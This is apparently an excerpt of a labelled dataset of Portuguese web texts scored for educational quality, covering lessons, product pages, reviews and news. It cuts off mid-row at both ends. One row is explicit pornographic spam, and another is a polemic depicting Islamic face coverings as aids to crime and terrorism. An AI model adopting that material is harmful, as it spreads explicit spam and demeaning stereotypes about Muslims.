colocarmos esses eventos em uma linha do tempo, podemos ver como você cresceu e se desenvolveu. A história funciona da mesma forma, só que em uma escala muito maior. Podemos ver como as civilizações surgiram, como os impérios se expandiram e como as guerras mudaram o mundo. A linha do tempo nos permite traçar essas mudanças e entender as causas e consequências dos eventos. + +As linhas do tempo podem ser divididas em diferentes escalas. Podemos ter uma linha do tempo que mostra toda a história da humanidade, desde o surgimento dos primeiros hominídeos até os dias atuais. Ou podemos ter uma linha do tempo que se concentra em um período específico, como a história do Brasil Colônia, a Revolução Francesa ou a Segunda Guerra Mundial. + +Uma linha do tempo bem construída deve apresentar os eventos em ordem cronológica, ou seja, na ordem em que aconteceram. Ela também deve incluir informações relevantes sobre cada evento, como a data, o local e os personagens envolvidos. Além disso, é importante que a linha do tempo seja visualmente atraente, com imagens, cores e outros elementos que ajudem a ilustrar a história. + +Que tal criar sua própria linha do tempo? Você pode escolher um tema que te interesse, como a história da música, a evolução dos videogames ou a vida de um personagem histórico. Pesquise sobre o assunto, anote os eventos importantes e organize-os em ordem cronológica. Use sua criatividade para deixar sua linha do tempo ainda mais interessante. Ao fazer isso, você estará não apenas aprendendo sobre o passado, mas também desenvolvendo habilidades importantes, como pesquisa, organização e pensamento crítico. + +A história não é apenas um conjunto de datas e nomes. É uma narrativa complexa e fascinante que nos ajuda a entender o presente e a construir o futuro. A linha do tempo é uma ferramenta poderosa que nos permite desvendar essa narrativa e descobrir as conexões entre os eventos que moldaram o mundo em que vivemos. Então, da próxima vez que você se deparar com uma linha do tempo, não a veja apenas como uma lista de datas. Veja-a como um mapa que te leva a uma jornada emocionante através do tempo.",História,Linha do tempo,anos finais (6º ao 9º ano),"O trecho explica de forma clara e acessível o conceito de linha do tempo e sua importância para a compreensão da história. Apresenta exemplos relevantes e incentiva a criação de linhas do tempo personalizadas, promovendo habilidades de pesquisa e pensamento crítico. A linguagem é adequada para o ensino fundamental, tornando o conteúdo valioso para um aprendizado estruturado e engajador. Atende aos critérios de relevância, clareza, consistência e aplicabilidade educacional.",5,1.0 +"Dimensões +Fabricante +Detalhes do Produto +Conheça o WaterCooler Corsair Hydro H80i GT +(Resfriamento líquido eficiente) +Nem sempre água no PC é sinônimo de curto-circuito. Os coolers Hydro Series da Corsair trabalham com refrigeração líquida, tornando o processo de resfriamento do processador mais silencioso e eficiente do que o resfriamento realizado com ventoinhas. O watercooler H80i GT é compatível tanto com os processadores de soquete Intel quanto com aqueles baseados na tecnologia AMD. +Com um sistema flexível e poderoso de resfriamento líquido para CPUs de alto desempenho, esse componente tem dimensões de 15,4cm de altura, 12,3cm de largura e apenas 4,9cm de espessura. O radiador é extra grosso (49mm x 120mm) e possui ventoinhas duplas PWM de 120 litros, o que fornecesse uma dissipação de calor excelente. A Corsair desenvolveu um componente com resfriamento eficiente, garantindo que você utilize o seu computador ao máximo e sem o perigo de superaqueciemento. +A estrutura é extremamente resistente e bem robusta, assim, o radiador funciona com montagens de ventoinhas de 120 mm para ampla compatibilidade, mas possui uma profundidade de 49 mm para maior área de superfície de resfriamento, mais rápido e mais eficiente. Ele é compatível com Corsair Link, assim você pode personalizar o desempenho do resfriamento, monitorar a temperatura do sistema e alterar a cor da iluminação LED RGB. +Esse sistema permite que você selecione a velocidade certa para as ventoinhas duplas PWM através do painel de controle do Corsair Link ou qualquer utilitário padrão. E você ainda conta com opções: use apenas uma ventoinha para economizar espaço ou instale ambas em uma configuração eficiente. Vale lembrar que o H80i GT tem um design de circuito fechado que vem preenchido. Ele inclui um suporte de montagem sem a necessidade de ferramentas, para instalação mais rápida. +Justamente por ter uma instalação mais facilitada, o watercooler Corsair Hydro oferece compatibilidade com os mais variados modelos de CPU, como já mencionamos antes, tanto da AMD quanto da Intel, dando uma maior versatilidade para o produto. Comprar o H80i é certeza de um poder de resfriamento de alto desempenho até mesmo em overclocking, sem a complexidade dos kits tradicionais e sem gastar muito.",original,original,original,original,2,0.4 +"Seabeck Pizza Market - Comentários de restaurantes - TripAdvisor +Estados Unidos›Washington (WA)›Seabeck›Seabeck Restaurantes› Seabeck Pizza Market +11 avaliações N.º 1 de 3 Restaurantes em Seabeck Pizza +Mostrar também MapaSatélite A atualização do mapa foi interrompida. Aumente o zoom para ver as informações atualizadas. Redefinir o zoom Atualizando mapa… Voltar para o mapa Como chegar 15376 Seabeck Hwy NW, Seabeck, WA 98380-9583 (360) 830-4839 +10 11 avaliações feitas pela comunidade do TripAdvisor Dúvidas sobre Seabeck? +Limpar tudo Comece a avaliação sobre Seabeck Pizza Market Clique para dar uma nota +Atualizando... Os viajantes que viram Seabeck Pizza Market, também viram +Silverdale, WA Todos os restaurantes em Seabeck (4) +Já esteve em: Seabeck Pizza Market? Compartilhe suas experiências! 10 Faça sua avaliação +15376 Seabeck Hwy NW, Seabeck, WA 98380-9583 Localização: +Dúvidas? Os funcionários e antigos clientes de Seabeck Pizza Market respondem às suas perguntas. +Diretrizes de publicação Receba notificações toda vez que suas perguntas forem respondidas. Perguntar Perguntas mais comuns: Há opções de pratos sem glúten no restaurante? Há trajes recomendados? Vocês permitem que cachorros circulem pelo pátio? Perto de: Seabeck Pizza Market As melhores atrações nas proximidades 42 avaliações Scenic Beach State Park +41 avaliações Kitsap Mall +22 avaliações Rocky Brook Falls Trail +Pesquisar todas as atrações Os melhores restaurantes nas proximidades 61 avaliações Halfway House +185 avaliações Oak Table Cafe +51 avaliações Geoduck Restaurant Lounge",original,original,original,original,0,0.0 +Sua sessão expirou ou você ainda não efetuou login.,original,original,original,original,0,0.0 +"Site de videos pornos com as safadas e putas gatas peladas gostosas fazendo sexo em videos porno para maior de 18 anos a vídeo porno legendado, milhares de centenas de videos porno, com qualidade em hd, mulheres maginhas mais gostosas fazendo sexo em video amador. Videos de sexo com safadas e putas do xvideos fazendo sexo online. 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Os dados do estudo reforçam a necessidade de que um acordo em nível global para a redução dos gases de efeito estufa – capaz de substituir o Protocolo de Kyoto – seja fechado em dezembro, quando representantes de 196 países estarão reunidos em Paris para a 21ª Conferência da ONU sobre Mudanças do Clima (COP21). Publicado pelo Site Agrosoft +Tags: Clima , Mundo , Opinião , Planeta , saúde , vida",original,original,original,original,3,0.6 +"Líderes de comunidades de norte a sul do Rio são guardiões da memória da cidade _ Foto: Tamiris Barcellos +“Em muitas comunidades pelas quais temos perambulado, só conseguimos entrar pelas mãos destes senhores e senhoras que aqui hoje estão”. Com essas palavras, o diretor executivo do Viva Rio, Rubem César Fernandes, reconheceu o que classificou como o “mais ingrato trabalho existente no planeta”. +A resposta é dada pelo presidente da Associação de Moradores da favela do Cantagalo e diretor de Patrimônio da Federação das Associações de Favelas do Rio de Janeiro, Luiz Bezerra “Esta é uma luta que gente só para quando morre”, disse Bezerra, arrancando aplausos. +Colaborador do Viva Rio desde 1996, e hoje articulador nos territórios de Acari e adjacências, foi Jocelino Porto quem insistiu com a iniciativa de homenagear outros líderes comunitários, como ele próprio. “A mídia só foca nas más notícias sobre a favela, esquecendo-se de como as lideranças comunitárias se articulam, se mobilizam e fazem acontecer”, alertou. +A juventude foi representada pelos fotógrafos Tamiris Barcellos e Amaury Alves e estagiária Andressa Cabral integrantes da equipe Viva Favela que nasceram e foram criados em favelas. Andressa lembrou que, antigamente, não existiam recursos tecnológicos nem redes sociais, grandes facilitadores para o trabalho dos comunicadores comunitários, o que torna ainda mais respeitável a luta dos mais velhos. “Você nos inspiram em tudo o que fazemos para caminhar junto com vocês”, complementou Amaury, morador do Santa Marta. +Líderes comunitários do Pavão-Pavãozinho, Maré, Palmeirinha, Batan, Rocha Miranda, Honório Gurgel, Chapéu Mangueira, Cruzada São Sebastião, Cantagalo, Coelho Neto, Vila Canoa entre outras favelas aplaudiram-se e reverenciaram-se uns aos outros. Alguns, já falecidos foram mencionados. A assistente administrativa do Viva Favela, Carolina Telles, reforçou que todos os presentes destacaram-se pela liderança, pela militância e por lutar pela garantia dos direitos de todos. “Se hoje não está tão bom, poderia estar muito pior, se não fosse o legado que os senhores e as senhoras construíram. Obrigada por tudo o que fizeram”. +Legado em educação, por exemplo, cuidadosamente erguido por Francisca Elisa Pinozi, líder comunitária da Rocinha. “Temos um convênio com a Pontifícia Universidade Católica (PUC) e a Cultura Inglesa, que distribui 500 bolsas em cursos de inglês por ano aos moradores da Rocinha. Muitos foram para Cambridge. Hoje, temos muita gente formada não só na PUC, mas em outras universidades”, orgulha-se. +“A Rocinha é o primeiro bairro com uma cobertura de 100% em saúde da família”, informou a gerente do Centro Municipal de Saúde (CMS) Dr. Albert Sabin há 33 anos. Chamada de “secretária de Saúde da Rocinha” pelo coordenador do Viva Favela Carlos Costa, Maria Helena Carneiro também esteve ali representando Seu Antônio, que apareceu em um vídeo gravado contando sua trajetória. +Embora admita que vai levar tempo para se recuperar dos danos que sofreu pelo tempo que passou afastado da família, William optou por deixar uma mensagem positiva: “Aqui estão as pessoas que verdadeiramente lutam pelo desenvolvimento do estado do Rio de Janeiro e da sociedade porque doam o melhor que têm para tentar melhorar a vida do próximo. Por isso, são pessoas que respeito, admiro e sigo”.",original,original,original,original,2,0.4 +"14 de julio de 2010 de Jimmy Astley Deja un comentario +>viagens interestaduais de ônibus são sempre hilárias ou péssimas. não sei como classificar a minha. primeiro porque me iludiram no início dizendo que o ônibus tinha rede wifi. rede ele até tinha, mas internet não. também não consegui dormir com a risada das pessoas que estavam super entretidas vendo um filme dublado que estava passando na televisão. demorou, mas cheguei em Recife vivo no meio de uma tempestade. +o ônibus parou perto do aeroporto – que é bem mais perto da minha casa que a rodoviária – e assim que desci um taxista me abordou, perguntando se queria um táxi. disse que sim e disse a ele onde eu moro. ele simplesmente disse “não vou lá essa hora porque o transito tá péssimo”. E DAÍ que o transito tá pessimo? a corrida não iria sair mais cara por causa disso? e eu tenho culpa que o transito é ruim na hora do rush? enfim, me fudi. tive que atravessar uma avenida enorme manuseando malas e um guarda-chuva para chegar na fila de taxis do aeroporto e finalmente vir pra casa. +chegando aqui descubro que um primo que não vejo há anos morreu e há toda uma comoção dos meus pais para que eu fosse no enterro. não entendo nem por que eles foram já que não tinham contato com ele. ele era uma figura simpática pra mim porque ao invés de ser cuzão como a maioria dos meus familiares, ele era fotografo e vivia em lugares cool. mas eu não tinha contato com ele. aconteceu a feliz coincidência de eu ter que dar aula justamente no horário do enterro então não pude ir. última coisa que eu queria depois de uma semana tão boa era ir para o encontro dos maiores hipócritas do mundo – leia-se, minha família paterna. +como eu disse ontem, eu me sinto tão bem e renovado que já estou com planos de ir ao errejota em setembro. preciso visitar amigos lá e isso empolgou amigos meus daqui a irem comigo, o que vai ser ótimo porque nunca causamos juntos fora de casa. como a vodka me disse domingo, eu posso ser tão feliz. o que eu estava deixando acontecer comigo hein?",original,original,original,original,0,0.0 +"""muito bom perto de casa e super agradavel"" +""issso aqui é bom mas o problema é que aqui não tem""Saspa""!!!!!""",original,original,original,original,0,0.0 +"Veja o que acontece na novela Alma Gêmea - Cassilândia News +22/01/2006 06:43 +Veja o que acontece na novela Alma Gêmea +O resgate de Rafael +Serena pede que Bernardo chame José Aristides para ajudar no tratamento de Rafael. Abílio fala para Olívia que ela pode reverter a situação diante do juiz se Dalila testemunhar contra Raul. Raul obriga Carlito a fazer o café da manhã e varrer a casa. Mirna expulsa Alaor para que não perceba que Rafael está lá. Alaor acha que ela está com outro pretendente. Serena pergunta a Rafael se a ouve e ele faz um sinal com o dedo indicando que sim. Cristina exige que Eduardo lhe diga onde está Rafael, mas ele se recusa. Cristina e Débora procuram por Serena na pensão, mas Hélio deixa claro que ninguém vai dizer onde ela está. Roberval não permite que Dalila deponha e fale de seu envolvimento com Raul para o juiz. José Aristides faz uma estátua de barro de Rafael, com fios de seu cabelo dentro. Ele explica para Serena que, enquanto Rafael estiver se recuperando, a estátua não pode se quebrar. Serena pede que José Aristides também coloque fios do cabelo dela dentro da estátua. +Ciúmes juvenis +Rafael melhora +Serena explica a Eduardo que a febre de Rafael passou para a estátua, deixando-o pasmo. Felipe explica a Nina que ainda é apaixonado por Mirella e termina tudo com ela. Gumercindo se declara para Mirella e pede que lhe dê uma chance. Ofélia e Divina garantem a Vitório que vão lhe arrumar uma namorada melhor do que Olívia. Felipe fala para Cristina que não vai assinar o contrato de venda do roseiral. Rafael começa a se mexer e sorrir para Serena, que fica emocionada. Crispim escolhe um noivo para Mirna. Ofélia e Divina descobrem que Judith é solteira e tentam convencer Vitório a namorá-la. Judith dá um beijo em Vitório. Olívia vê e fica horrorizada. Julian diz a Eduardo que ele precisa dar mais atenção a Alexandra. Alexandra acha que Eduardo não a ama. Cristina e Débora falam para Roberval que ele pode ser preso por ter ajudado Rafael e exigem que diga onde está o botânico. Rafael fala o nome de Serena. +Rafael ameaçado +Luna manda que Serena tome cuidado com a estátua, deixando-a preocupada. Cristina grita e todos na casa correm para ajudá-la. Débora a manda se controlar. Alexandra exige saber se Eduardo vai agir como seu marido ou não. Eduardo e Alexandra se amam. Kátia conta para Elias que vai se casar com Jorge. Elias fica um pouco decepcionado, mas disfarça. Cristina manda Raul fazer de tudo para convencer Felipe de que vender o roseiral é a única maneira de salvar Rafael da falência. Mirella aceita namorar Gumercindo. Hélio diz a Sabina que quer marcar a data do noivado, deixando-a radiante. Kátia vai experimentar um vestido de noiva na loja de Madalena. Crispim vê Kátia vestida de noiva e toma um susto. Olívia acusa Vitório de tê-la largado porque ela perdeu o restaurante. Vitório vai atrás de Olívia e pede para se explicar. Roberval se recusa a dizer onde Rafael está, mas Dalila deduz que está no sítio de Bernardo e conta para Débora. Felipe vai visitar Rafael. José Aristides vê um carro se aproximando do sítio.",original,original,original,original,0,0.0 +"Recupere a forma após o parto - Como o método Pilates contribui para a total recuperação do pós-parto da mulher +Vilma Medina Diretora de Guiainfantil.com +O método Pilates é um dos treinamentos físicos mais completos que podemos encontrar na atualidade para ajudar a mãe a recuperar o bem estar do seu corpo depois do parto. A gestação é uma experiência corporal global que merece um enfoque específico na recuperação. A recém-maternidade precisa de um regime de exercícios muito flexíveis dirigidos à mulher no seu conjunto. +Índice +Benefícios do Pilates no pós-parto +A prática do Pilates no pós-parto +Benefícios do Pilates no pós-parto +Após o parto é necessário que você seja tolerante com suas limitações e suas exigências físicas, além de levar em conta suas limitações temporais e se ajustar ao cansaço que a maternidade impõe. Por esse motivo, é importante que você incorpore algumas técnicas de relaxamento e que gere uma melhora geral do bem estar psicológico e físico. Tudo isso se pode conseguir praticando o Pilates. +Quando se reinicia o exercício físico após o parto, é muito importante não submeter as articulações e os ligamentos com uma excessiva pressão durante vários meses depois de haver dado a luz. O responsável por esse relaxamento muscular é o hormônio relaxina, que se segrega durante a gravidez, e que segue afetando o corpo, pelo menos durante três meses mais. Por essa razão, os músculos, as articulações e os ligamentos podem continuar moles durante todo esse tempo. +Um dos objetivos do método Pilates é fortalecer a área muscular que está ao redor das articulações e dos ligamentos. O método proporciona uma melhor postura, controle muscular e respiratório adequados, além de fortalecer e alongar, resultando num equilíbrio saudável do corpo e da mente. Através da prática da respiração, e dos alongamentos dos músculos próximos à coluna através da prática constante, rapidamente estaremos recuperando a forma perdida durante a gravidez. +A prática do Pilates no pós-parto +Praticando os exercícios de Pilates durante o pós-parto você conseguirá: +1. Recuperar-se da dor física e do esforço do nascimento +2. Desfazer-se da barriguinha da gravidez e dos quilos a mais +3. Estar mais tonificada e recuperar a forma que você tinha antes da gravidez +4. Adquirir força física e energia mental +5. Mudar a postura para estar em pé, sentada, dormindo, desfrutar do sexo e carregar objetos +6. Evitar lesões +O método Pilates injeta energia à mãe justamente quando ela pensa que suas forças estão esgotadas. Consegue restaurar o seu equilíbrio emocional através da concentração que requer para coordenar e realizar os movimentos corporais. Promove ganho de força na parte central do corpo e tonifica os músculos. Os exercícios de Pilates ajudam também a reduzir o volume das cadeiras, firmam o bumbum, definem os braços e as pernas e recuperam a firmeza nos abdominais. +Marisol Nuevo +Redatora de Guiainfantil.com +Puedes leer más artículos similares a Pós-parto. Os benefícios do método Pilates para recuperar a forma, en la categoría de Parto en Guiainfantil.com Brasil. +Publicado: 22 de março de 2021 +Actualizado: 22 de março de 2021 +Pagina inicial +Gravidez +Parto +Pós-parto. Os benefícios do método Pilates para recuperar a forma +Gravidez +Beleza +Mês A Mês +Facebook +Twitter +Whatsapp +Comentar +Relacionados +Gravidez +Como evitar estrias durante a gravidez +Massagens +Benefícios e posturas do Yoga para a mulher grávida +Gravidez +Como perder a barriga depois da gravidez +Gravidez +As dúvidas da mulher no pós-parto +Parto +Sintomas e tratamento da depressão pós-parto +Parto +8 coisas que acontecem no pós-parto que você não imagina +0 Comentários +Acepto las Preferencias de privacidad, Condiciones de uso y la Política de Cookies ? +Enviar +× +Responsable » Polegar Medios S.L.N.E +Finalidad » Gestionar los comentarios o Registro web +Legitimación » Consentimiento del interesado +Derechos » Tienes derecho a acceder, rectificar y suprimir los datos, así como otros derechos, como se explica en la inform...",original,original,original,original,4,0.8 +"O que há de novo no front do nicab e da burca? +Criminalidade: A Jordânia oferece um vislumbre do potencial dos nicabs e das burcas de serem acessórios ilegais: Uma reportagem indica que 50 pessoas cometeram 170 crimes usando vestuários islâmicos nos últimos dois anos, ou aproximadamente um incidente a cada quatro dias, uma onda de crimes que incitou alguns jordanianos a solicitarem pela restrição ou mesmo proibição desses cobrimentos de cabeça islâmicos. +Nenhum outro país registrou tantos crimes relacionados com a vestimenta da cabeça, mas a Filadélfia, Pensilvânia ostenta múltiplos assaltos (três bancos e um escritório de leasing de imóveis) em um período de seis meses em 2007-08, incluindo o assassinato de um oficial de polícia. +O Reino Unido tem o segundo pior recorde do Ocidente. Joalherias – algumas de propriedade de muçulmanos – foram alvos em West Midlands, Glasgow e Oxfordshire. Duas agências de viagens foram atacadas nas cidades vizinhas de Dunstable e Luton enquanto o motorista de um caminhão blindado foi atacado em Birmingham. Assalto não é o único motivo; adolescentes em Londres, usaram uma cobertura de rosto do estilo nicab ao esfaquearem um rapaz mais jovem. +Outros incidentes criminosos no Ocidente incluem batedores de carteiras do leste europeu usando acessórios de cabeça islâmicos em Rotterdam e um assalto a mão armada com burcas cor vinho no Banco do Povo em Hiddenite, Carolina do Norte (população: 6,000). O homem que sequestrou Elizabeth Smart, 14, de Salt Lake City, forçou-a a usar uma vestimenta do tipo nicab em plena luz do dia por seis meses. +Como resposta, bancos, uniões de crédito, joalherias e escolas estão limitando o acesso a pessoas que estejam cobertas. Por exemplo, a União de Crédito Federal da Carolina de Cherryville, Carolina do Norte, não longe de Hiddenite, leva qualquer um usando chapéus, óculos de sol, ou capas perante a presença de um funcionário que está mais isolado onde são tomadas medidas especiais de segurança. +Terrorismo: O apoio do terrorismo Talibã no uso da burca, frequentemente da variante suicida, faz do Afeganistão o atual epicentro desta tática. Em duas oportunidades, as autoridades evitaram o ataque de homens bomba antes que eles pudessem agir – o primeiro foi um russo convertido ao Islã com 500 kg de explosivos em um automóvel na província de Paktia, o segundo uma afegã com uma bomba escondida em Jalalabad. +Um soldado afegão monta guarda em cima de uma burca usada por um homem bomba para atacar edifícios governamentais na província de Paktia. +Normalmente, entretanto, as intenções violentas ficam camufladas pela burca, tornando-se aparentes somente após o ataque começar: +O comandante Talibã, Haji Yakub, foi morto usando uma burca quando tentava fugir de uma casa na província de Ghazni quando atacava as forças dos Estados Unidos. +Um operativo Talibã, Mullah Khalid, atacou uma patrulha da polícia em um mercado lotado na província de Farah matando pelo menos 12 pessoas (7 policiais e 5 civis). +Um homem bomba matou um soldado britânico de língua pachto na província de Helmand antes de ser alvejado na testa. +Aproximadamente quinze homens bomba com burcas armados com coletes suicidas, Kalatchnikovs e lançadores de granadas dirigidos a edifícios governamentais na província de Paktia mataram 12 pessoas. +Oh, e no lado bom, Herve Jaubert, um francês falsamente acusado de apropriar-se indevidamente de US$3,8 milhões conseguiu fugir de Dubai usando um nicab. +Como efeito colateral, novos estudos tanto na Inglaterra quanto na Irlanda descobriram que as mulheres (e seus filhos amamentados no seio) tendem a ter raquitismo devido a insuficiência de vitamina D, que a pele absorve da luz solar. +(Para obter maiores detalhes de todos estes incidentes, veja minha entrada no weblog, ""O Nicab e a Burca como Ameaças à Segurança."") +Eu já havia solicitado a proibição ""dessas vestimentas repugnantes, insalubres, desagregadoras sociais, facilitadoras de terroristas e amigáveis ao crime"" de lugares público...",original,original,original,original,2,0.4 +"Olá, pequenos exploradores! Já pararam para pensar de onde vêm as coisas que usamos todos os dias? A água que bebemos, a comida que comemos, a roupa que vestimos, até mesmo o ar que respiramos... Tudo isso vem da natureza! Chamamos essas coisas que a natureza nos oferece de recursos naturais. + +Imagine que a natureza é como uma grande caixa de tesouros, cheia de coisas importantes para a nossa vida. O sol, por exemplo, é um recurso natural muito importante. Ele nos dá luz e calor, que são essenciais para as plantas crescerem e para aquecer nosso planeta. Sem o sol, a vida na Terra seria impossível! + +A água também é um recurso natural precioso. Usamos a água para beber, tomar banho, lavar a roupa, regar as plantas e muitas outras coisas. Os rios, lagos e oceanos são como grandes reservatórios de água que precisamos cuidar muito bem. Sabiam que algumas pessoas não têm água potável para beber? Por isso, não podemos desperdiçar nem uma gotinha! + +As árvores são outro exemplo importante de recurso natural. Elas nos dão madeira para construir casas e móveis, além de produzirem o oxigênio que respiramos. As árvores também abrigam muitos animais e ajudam a manter o solo firme, evitando que a chuva o leve embora. Por isso, é tão importante plantar árvores e cuidar das florestas. + +E os minerais, como o ferro e o alumínio? Eles vêm da terra e são usados para fazer carros, panelas, computadores e muitas outras coisas. A terra também nos dá o solo, onde plantamos nossos alimentos. + +Mas, atenção! A natureza não é uma fonte inesgotável de recursos. Se usarmos tudo sem cuidado, os recursos podem acabar. Imagine que você tem uma caixa de lápis de cor. Se você usar todos os lápis muito rápido e quebrá-los, logo não terá mais lápis para desenhar. Com a natureza é a mesma coisa: precisamos usar os recursos com responsabilidade para que eles não acabem e para que as futuras gerações também possam usufruir deles. + +Então, o que podemos fazer para cuidar dos recursos naturais? Podemos economizar água ao escovar os dentes e tomar banho. Podemos jogar o lixo no lugar certo e reciclar o que for possível. Podemos plantar árvores e cuidar das plantas. Podemos economizar energia elétrica, apagando as luzes quando saímos de um cômodo. E podemos conversar com nossos amigos e familiares sobre a importância de cuidar da natureza. + +Lembrem-se: a natureza é a nossa casa e precisamos cuidar dela com muito carinho. Se cada um fizer a sua parte, podemos garantir um futuro mais verde e saudável para todos. Agora, pensem um pouquinho: quais outros recursos naturais vocês conhecem? O que vocês podem fazer hoje para ajudar a cuidar deles?",Geografia,Recursos naturais,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas sobre recursos naturais de forma didática e acessível para crianças, utilizando exemplos cotidianos e linguagem simples. Introduz conceitos importantes relacionados ao currículo escolar, como a origem dos recursos e a importância da sua conservação. Além disso, incentiva a reflexão e a ação individual para a preservação ambiental, tornando-o altamente relevante para fins educacionais nos anos iniciais do ensino fundamental.",5,1.0 +"O ferro é um mineral essencial no transporte de oxigênio no organismo, formação de glóbulos vermelhos, manutenção do sistema imunológico, produção e manutenção de vários neurotransmissores cerebrais e na proteção contra danos provocados por oxidantes. Portanto, confira 7 alimentos ricos em ferro. +Fígado: O fígado é um excelente alimento rico em ferro, pois contêm cerca de 5 miligrama para cada 100 gramas de seu consumo. +Grão de bico: Este legume fornecer ao seu corpo com quase 5 mg de ferro para cada 100g de seu consumo, além disso, ele é uma boa opção para os vegetarianos, pois ele é rico em proteínas. +Beterraba: A beterraba é uma boa opção de alimentos ricos em ferro, já que ela tem 2,7 miligramas de ferro para cada 100 gramas de seu consumo. +Feijão: Os feijões com todas as suas variedades são uma boa opção para alimentos ricos em ferro, já que ele contêm cerca de 8,6 mg para cada 100 g do seu consumo. porém, lembre-se que a Vitamina C ajuda na absorção do ferro. +Espinafre cozido: O espinafre é uma excelente fonte de ferro, embora cozinhá-lo irá ajuda seu corpo absorver seus nutrientes mais facilmente. Apenas uma xícara de espinafre cozido contêm cerca de 6 mg de ferro, bem como proteínas, fibras, Cálcio, vitamina A e vitamina E. +Lentilha: A tradicional especiaria de fim de ano também é uma opção para potencializar os níveis de ferro no organismo. Além disso, A lentilha previne a anemia, pois fornece altas quantidades de ferro. +TAGS: Alimentação saudável , Alimentos ricos em ferro , Anemia , Crianças , Ferritina , Ferro , Nutrientes , Saúde infantil",original,original,original,original,3,0.6 +"Cidades digitais - No Rio, o pequeno município de Piraí é pioneiro na implantação de internet em toda a cidade - CBN +Segunda, 27/08/2007 +No Rio, o pequeno município de Piraí é pioneiro na implantação de internet em toda a cidade +Quinta - 30/08/2007 +Tecnologia melhora o atendimento de saúde de Foz do Iguaçu, no Paraná. Mas apesar de alguns projetos pioneiros, dos mais de 5 mil municípios brasileiros, apenas 300 têm internet banda larga +Quarta - 29/08/2007 +Sinal de internet cobre toda a cidade de Foz do Iguaçu, no Paraná, e melhora a qualidade dos serviços públicos. Repartições deixaram de usar o telefone, e alunos das escolas públicas aproveitam o acesso à rede mundial para estudar +Terça - 28/08/2007 +Cidade do interior do RJ usa internet via rádio e é totalmente coberta pela rede wireless. O projeto está sendo implantado em outros municípios da região e deve ser replicado em todo o estado",original,original,original,original,3,0.6 +"Ansiedade, stress, angústia: os efeitos do isolamento social e como combatê-los - JPN +O confinamento produz efeitos sobre o modo como nos sentimos. ""Dar significado ao tempo"" é uma estratégia a seguir, recomenda Cristina Queirós da FPCEUP. A UP e a Sociedade Portuguesa de Psicanálise já têm linhas telefónicas de apoio emocional e psicológico. +Foto: Pexels/Burst +Apesar da quarentena provocada pela COVID-19 ser uma realidade recente que se vive um pouco por todo o mundo, as consequências e os efeitos psicológicos deste tipo de isolamento já foram alvo de estudo no passado. Ansiedade, stress, angústia, solidão, medo e tristeza são alguns dos sintomas mais comuns nas pessoas que passam pelo processo. Mas há armas de arremesso contra estes sentimentos negativos e uma delas é a rotina, como explicou ao JPN Cristina Queirós, professora da Faculdade de Psicologia e Ciências da Educação da Universidade do Porto (FPCEUP). +Como a realidade é recente, os artigos científicos lançados este ano analisam trabalhos antigos sobre períodos similares na história moderna, que mostram o que pode ser transferido para o presente. +Vai nesse sentido o estudo publicado este ano na revista médica “The Lancet“. Num dos momentos analisados, o grupo do departamento de Psicologia do King’s College mostrou que a quarentena foi um dos fatores principais no desenvolvimento de transtorno de stress agudo. No mesmo estudo, as pessoas isoladas ficaram muito mais suscetíveis a reportar exaustão, desapego face aos outros, ansiedade, irritabilidade, insónia, baixa concentração, indecisão e deterioração do desempenho no trabalho. +A professora da Universidade do Porto, Cristina Queirós, em entrevista ao JPN, diz que neste início é comum a sensação de medo. “Diria que ainda estamos em adaptação. As pessoas estão a tentar adaptar-se dentro dos recursos disponíveis. Nesta fase, pode ser muito mais forte a ansiedade, a angústia e o medo, mas depois a seguir pode vir a exaustão emocional, o cansaço psicológico e a depressão. Pode vir algo que estava mais latente e que teve a oportunidade de emergir”, explica a doutorada em Psicologia. +Há uma diferença entre os conceitos de isolamento e de quarentena, que não se observa no uso corrente dos termos. A quarentena visa deixar pessoas saudáveis ​​e assintomáticas expostas a uma doença infecciosa, isoladas pelo período de incubação, para conter a disseminação da doença. Enquanto que o isolamento consiste na separação de pacientes com infeção ativa de pessoas saudáveis e não expostas, para impedir a transmissão. +Um estudo qualitativo, também abordado no artigo da “The Lancet”, mostrou que diversos participantes demonstraram mudanças de comportamento após o período de quarentena e o retorno à normalidade demorou alguns meses. O estudo também diz que os sintomas e sentimentos experienciados pelas pessoas foi mais forte e proeminente em profissionais da saúde que tiveram de passar por esse processo de isolamento. +“É importante entender que as outras pessoas estão a partilhar dos mesmos medos, das mesmas angústias”, sublinha Cristina Queirós. +Esses sentimentos negativos durante o processo de isolamento forçado dependem de alguns fatores que são abordados em artigos científicos como o publicado na “The Lancet”, ou um estudo feito sobre a SARS em Toronto, no Canadá, e um outro estudo sistemático da quarentena por profissionais da saúde. Estes são: +Duração da Quarentena: três estudos mostraram que a duração da quarentena pode influenciar negativamente a saúde mental das pessoas, podendo chegar a causar sintomas de stress pós-traumático. Quarentenas acima de dez dias mostraram ser capazes de afetar psicologicamente uma pessoa por mais tempo; +Medo de infeção: os participantes nos diversos estudos tinham maior probabilidade de mostrar um medo de ter a infeção e/ou transmitir esta para pessoas que conhecem; +Frustração ou tédio: a perda de uma rotina normal, o confinamento, a redução de contacto físico com outros resultaram uma crescente sensaç...",original,original,original,original,4,0.8 +"SUBJECTIVE WELL-BEING: CURRENT ADVANCES IN KNOWLEDGE Autor: António Simões, Joaquim Armando G. A. Ferreira, Margarida P. Lima, Maria do Rosário M. M. Pinheiro, Cristina M. C. Vieira, Armanda P. M. Matos, Albertina L. Oliveira Faculdade de Psicologia e de Ciências da Educação, Universidade de Coimbra, Portu 553 +THE TWO SIDES OF THE JAPANESE ECONOMIC MIRACLE Autor: Daniela de Carvalho Universidade Portucalense, Portugal 589 +VARIAÇÕES PSICOLÓGICAS SOBRE O AMOR Autor: Félix Neto Centro de Estudos de Psicologia da Cognição, da Afectividade e do Contexto Cultural, Universidade do Porto, Portugal 592 +WOMEN SMILE MORE THAN MEN? Autor: A. Freitas-Magalhães Departamento de Psicologia, Instituto Superior de Ciências Educativas, Felgueiras, Portugal Félix Neto Centro de Psicologia da Cognição, Afectividade e Contexto Cultural, Universidade do Porto, Portugal 604",original,original,original,original,4,0.8 +"Na primeira edição brasileira, festival reúne música, palestras e exposição dos Racionais - 02/06/2017 - Shows - Guia Folha +Depois de realizar edições em Paris e Nova York, o Red Bull Music Academy Festival chega pela primeira vez ao Brasil, desta sexta (2) ao próximo domingo (11), e ocupa espaços como o Red Bull Station e a praça da Sé. Com o fomento da cena local como um de seus objetivos, o evento reúne 53 atrações —33 nacionais e 23 gringas— divididas em nove noites de programação com festas, shows, palestras e exposições. A organização espera receber 15 mil pessoas. +Foto tirada em 2001, no Capão Redondo, para a divulgação do 